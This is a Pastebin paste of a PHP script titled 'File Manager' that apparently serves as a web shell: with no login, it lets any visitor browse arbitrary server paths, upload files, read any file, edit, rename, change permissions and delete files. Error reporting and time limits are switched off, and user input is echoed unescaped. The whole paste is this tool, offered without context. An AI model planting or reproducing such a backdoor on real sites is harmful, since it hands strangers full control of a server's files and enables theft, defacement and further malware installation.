Advertisement
dragondevile

Untitled

Apr 4th, 2019
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.45 KB | None | 0 0
  1. set_time_limit(0);
  2. error_reporting(0);
  3.  
  4. if(get_magic_quotes_gpc()){
  5. foreach($_POST as $key=>$value){
  6. $_POST[$key] = stripslashes($value);
  7. }
  8. }
  9. echo '<!DOCTYPE HTML>
  10. <HTML>
  11. <HEAD>
  12. <link href="" rel="stylesheet" type="text/css">
  13. <title>File Manager</title>
  14. <style>
  15. body{
  16. font-family: "Racing Sans One", cursive;
  17. background-color: #e6e6e6;
  18. text-shadow:0px 0px 1px #757575;
  19. }
  20. #content tr:hover{
  21. background-color: #636263;
  22. text-shadow:0px 0px 10px #fff;
  23. }
  24. #content .first{
  25. background-color: silver;
  26. }
  27. #content .first:hover{
  28. background-color: silver;
  29. text-shadow:0px 0px 1px #757575;
  30. }
  31. table{
  32. border: 1px #000000 dotted;
  33. }
  34. H1{
  35. font-family: "Rye", cursive;
  36. }
  37. a{
  38. color: #000;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color: #fff;
  43. text-shadow:0px 0px 10px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 1px #000000 solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51. </style>
  52. </HEAD>
  53. <BODY>
  54. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  55. <tr><td>Current Path : ';
  56. if(isset($_GET['path'])){
  57. $path = $_GET['path'];
  58. }else{
  59. $path = getcwd();
  60. }
  61. $path = str_replace('\\','/',$path);
  62. $paths = explode('/',$path);
  63.  
  64. foreach($paths as $id=>$pat){
  65. if($pat == '' && $id == 0){
  66. $a = true;
  67. echo '<a href="?path=/">/</a>';
  68. continue;
  69. }
  70. if($pat == '') continue;
  71. echo '<a href="?path=';
  72. for($i=0;$i<=$id;$i++){
  73. echo "$paths[$i]";
  74. if($i != $id) echo "/";
  75. }
  76. echo '">'.$pat.'</a>/';
  77. }
  78. echo '</td></tr><tr><td>';
  79. if(isset($_FILES['file'])){
  80. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  81. echo '<font color="green">File Upload Done.</font><br />';
  82. }else{
  83. echo '<font color="red">File Upload Error.</font><br />';
  84. }
  85. }
  86. echo '<form enctype="multipart/form-data" method="POST">
  87. Upload File : <input type="file" name="file" />
  88. <input type="submit" value="upload" />
  89. </form>
  90. </td></tr>';
  91. if(isset($_GET['filesrc'])){
  92. echo "<tr><td>Current File : ";
  93. echo $_GET['filesrc'];
  94. echo '</tr></td></table><br />';
  95. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  96. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  97. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  98. if($_POST['opt'] == 'chmod'){
  99. if(isset($_POST['perm'])){
  100. if(chmod($_POST['path'],$_POST['perm'])){
  101. echo '<font color="green">Change Permission Done.</font><br />';
  102. }else{
  103. echo '<font color="red">Change Permission Error.</font><br />';
  104. }
  105. }
  106. echo '<form method="POST">
  107. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  108. <input type="hidden" name="path" value="'.$_POST['path'].'">
  109. <input type="hidden" name="opt" value="chmod">
  110. <input type="submit" value="Go" />
  111. </form>';
  112. }elseif($_POST['opt'] == 'rename'){
  113. if(isset($_POST['newname'])){
  114. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  115. echo '<font color="green">Change Name Done.</font><br />';
  116. }else{
  117. echo '<font color="red">Change Name Error.</font><br />';
  118. }
  119. $_POST['name'] = $_POST['newname'];
  120. }
  121. echo '<form method="POST">
  122. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  123. <input type="hidden" name="path" value="'.$_POST['path'].'">
  124. <input type="hidden" name="opt" value="rename">
  125. <input type="submit" value="Go" />
  126. </form>';
  127. }elseif($_POST['opt'] == 'edit'){
  128. if(isset($_POST['src'])){
  129. $fp = fopen($_POST['path'],'w');
  130. if(fwrite($fp,$_POST['src'])){
  131. echo '<font color="green">Edit File Done.</font><br />';
  132. }else{
  133. echo '<font color="red">Edit File Error.</font><br />';
  134. }
  135. fclose($fp);
  136. }
  137. echo '<form method="POST">
  138. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  139. <input type="hidden" name="path" value="'.$_POST['path'].'">
  140. <input type="hidden" name="opt" value="edit">
  141. <input type="submit" value="Go" />
  142. </form>';
  143. }
  144. echo '</center>';
  145. }else{
  146. echo '</table><br /><center>';
  147. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  148. if($_POST['type'] == 'dir'){
  149. if(rmdir($_POST['path'])){
  150. echo '<font color="green">Delete Dir Done.</font><br />';
  151. }else{
  152. echo '<font color="red">Delete Dir Error.</font><br />';
  153. }
  154. }elseif($_POST['type'] == 'file'){
  155. if(unlink($_POST['path'])){
  156. echo '<font color="green">Delete File Done.</font><br />';
  157. }else{
  158. echo '<font color="red">Delete File Error.</font><br />';
  159. }
  160. }
  161. }
  162. echo '</center>';
  163. $scandir = scandir($path);
  164. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  165. <tr class="first">
  166. <td><center>Name</center></td>
  167. <td><center>Size</center></td>
  168. <td><center>Permissions</center></td>
  169. <td><center>Options</center></td>
  170. </tr>';
  171.  
  172. foreach($scandir as $dir){
  173. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  174. echo "<tr>
  175. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  176. <td><center>--</center></td>
  177. <td><center>";
  178. if(is_writable("$path/$dir")) echo '<font color="green">';
  179. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  180. echo perms("$path/$dir");
  181. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  182.  
  183. echo "</center></td>
  184. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  185. <select name=\"opt\">
  186. <option value=\"\"></option>
  187. <option value=\"delete\">Delete</option>
  188. <option value=\"chmod\">Chmod</option>
  189. <option value=\"rename\">Rename</option>
  190. </select>
  191. <input type=\"hidden\" name=\"type\" value=\"dir\">
  192. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  193. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  194. <input type=\"submit\" value=\">\" />
  195. </form></center></td>
  196. </tr>";
  197. }
  198. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  199. foreach($scandir as $file){
  200. if(!is_file("$path/$file")) continue;
  201. $size = filesize("$path/$file")/1024;
  202. $size = round($size,3);
  203. if($size >= 1024){
  204. $size = round($size/1024,2).' MB';
  205. }else{
  206. $size = $size.' KB';
  207. }
  208.  
  209. echo "<tr>
  210. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  211. <td><center>".$size."</center></td>
  212. <td><center>";
  213. if(is_writable("$path/$file")) echo '<font color="green">';
  214. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  215. echo perms("$path/$file");
  216. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  217. echo "</center></td>
  218. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  219. <select name=\"opt\">
  220. <option value=\"\"></option>
  221. <option value=\"delete\">Delete</option>
  222. <option value=\"chmod\">Chmod</option>
  223. <option value=\"rename\">Rename</option>
  224. <option value=\"edit\">Edit</option>
  225. </select>
  226. <input type=\"hidden\" name=\"type\" value=\"file\">
  227. <input type=\"hidden\" name=\"name\" value=\"$file\">
  228. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  229. <input type=\"submit\" value=\">\" />
  230. </form></center></td>
  231. </tr>";
  232. }
  233. echo '</table>
  234. </div>';
  235. }
  236. echo '</BODY>
  237. </HTML>';
  238. function perms($file){
  239. $perms = fileperms($file);
  240.  
  241. if (($perms & 0xC000) == 0xC000) {
  242. // Socket
  243. $info = 's';
  244. } elseif (($perms & 0xA000) == 0xA000) {
  245. // Symbolic Link
  246. $info = 'l';
  247. } elseif (($perms & 0x8000) == 0x8000) {
  248. // Regular
  249. $info = '-';
  250. } elseif (($perms & 0x6000) == 0x6000) {
  251. // Block special
  252. $info = 'b';
  253. } elseif (($perms & 0x4000) == 0x4000) {
  254. // Directory
  255. $info = 'd';
  256. } elseif (($perms & 0x2000) == 0x2000) {
  257. // Character special
  258. $info = 'c';
  259. } elseif (($perms & 0x1000) == 0x1000) {
  260. // FIFO pipe
  261. $info = 'p';
  262. } else {
  263. // Unknown
  264. $info = 'u';
  265. }
  266.  
  267. // Owner
  268. $info .= (($perms & 0x0100) ? 'r' : '-');
  269. $info .= (($perms & 0x0080) ? 'w' : '-');
  270. $info .= (($perms & 0x0040) ?
  271. (($perms & 0x0800) ? 's' : 'x' ) :
  272. (($perms & 0x0800) ? 'S' : '-'));
  273.  
  274. // Group
  275. $info .= (($perms & 0x0020) ? 'r' : '-');
  276. $info .= (($perms & 0x0010) ? 'w' : '-');
  277. $info .= (($perms & 0x0008) ?
  278. (($perms & 0x0400) ? 's' : 'x' ) :
  279. (($perms & 0x0400) ? 'S' : '-'));
  280.  
  281. // World
  282. $info .= (($perms & 0x0004) ? 'r' : '-');
  283. $info .= (($perms & 0x0002) ? 'w' : '-');
  284. $info .= (($perms & 0x0001) ?
  285. (($perms & 0x0200) ? 't' : 'x' ) :
  286. (($perms & 0x0200) ? 'T' : '-'));
  287.  
  288. return $info;
  289. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement